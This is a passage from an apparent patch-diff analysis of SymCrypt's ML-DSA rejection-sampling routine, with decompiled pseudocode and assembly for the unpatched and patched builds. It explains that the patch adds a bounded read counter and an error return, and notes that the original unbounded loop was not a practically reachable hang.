a seed whose SHAKE expansion yields hundreds of consecutive rejections, i.e. breaking SHAKE. The caps therefore only convert an astronomically improbable event into a graceful error; they do not close a reachable hang.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direction:&lt;/strong&gt; Correct. The patched build is stricter (adds the bound); the unbounded form is in the unpatched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Decompiler output for &lt;strong&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt;&lt;/strong&gt; in both builds. Note &lt;code&gt;SymCryptKeccakAppend(..., a1, 34)&lt;/code&gt; seeds the sponge and &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; reads its output; &lt;code&gt;a1&lt;/code&gt; is the seed, not the sampled bytes.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED SymCryptMlDsaRejNttPoly @ 0x18002A31C&lt;/span&gt;
&lt;span class="n"&gt;SymCryptKeccakAppend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// absorb seed&lt;/span&gt;
&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// 256 coefficients required&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// read 3 sponge bytes&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;BYTE2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x80u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// mask to 23 bits&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FE001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// reject out-of-range, re-read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// accept in-range coefficient&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// PATCHED SymCryptMlDsaRejNttPoly @ 0x1800272EC&lt;/span&gt;
&lt;span class="n"&gt;SymCryptKeccakAppend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// accepted-coefficient count&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x12A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// FIX: hard cap of 298 sponge reads&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;BYTE2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mh"&gt;0x80u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                  &lt;/span&gt;&lt;span class="c1"&gt;// FIX: unconditional read counter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7FE001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;// normal completion (256 stored)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32776&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// FIX: 0x8008 on cap exhaustion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The same shape applies to &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; (nibble decode, sentinel &lt;code&gt;0x80&lt;/code&gt; skips the write) and &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; (byte compared to a running threshold). In every case the rejected value comes from the sponge, not from the input buffer.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; — unpatched loop (&lt;code&gt;0x18002A31C&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Reads 3 sponge bytes, masks the high bit, and re-reads without any counter when the value is out of range. The only exit is &lt;code&gt;rbx&lt;/code&gt; (remaining coefficients) reaching 0.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A399&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coefficients&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;place&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A39E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_110&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_100&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9+3&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3AF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sponge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bytes&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_110+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3B9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+130h+var_110&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;FE001h&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18002A39E&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;reject&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3C4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;000000018002&lt;/span&gt;&lt;span class="n"&gt;A3CE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_18002A39E&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;until&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;placed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;SymCryptMlDsaRejNttPoly&lt;/code&gt; — patched loop (&lt;code&gt;0x1800272EC&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;r14d&lt;/code&gt; counts every sponge read and caps at &lt;code&gt;0x12A&lt;/code&gt;; on exhaustion the function returns &lt;code&gt;0x8008&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;0000000180027363&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_120&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027367&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027369&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="n"&gt;Ah&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;iteration&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;298&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027370&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1800273AD&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exhausted&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027383&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SymCryptKeccakExtract&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027388&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_120+2&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;
&lt;span class="mi"&gt;000000018002738&lt;/span&gt;&lt;span class="n"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;every&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027390&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+140h+var_120&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;0000000180027394&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="n"&gt;FE001h&lt;/span&gt;
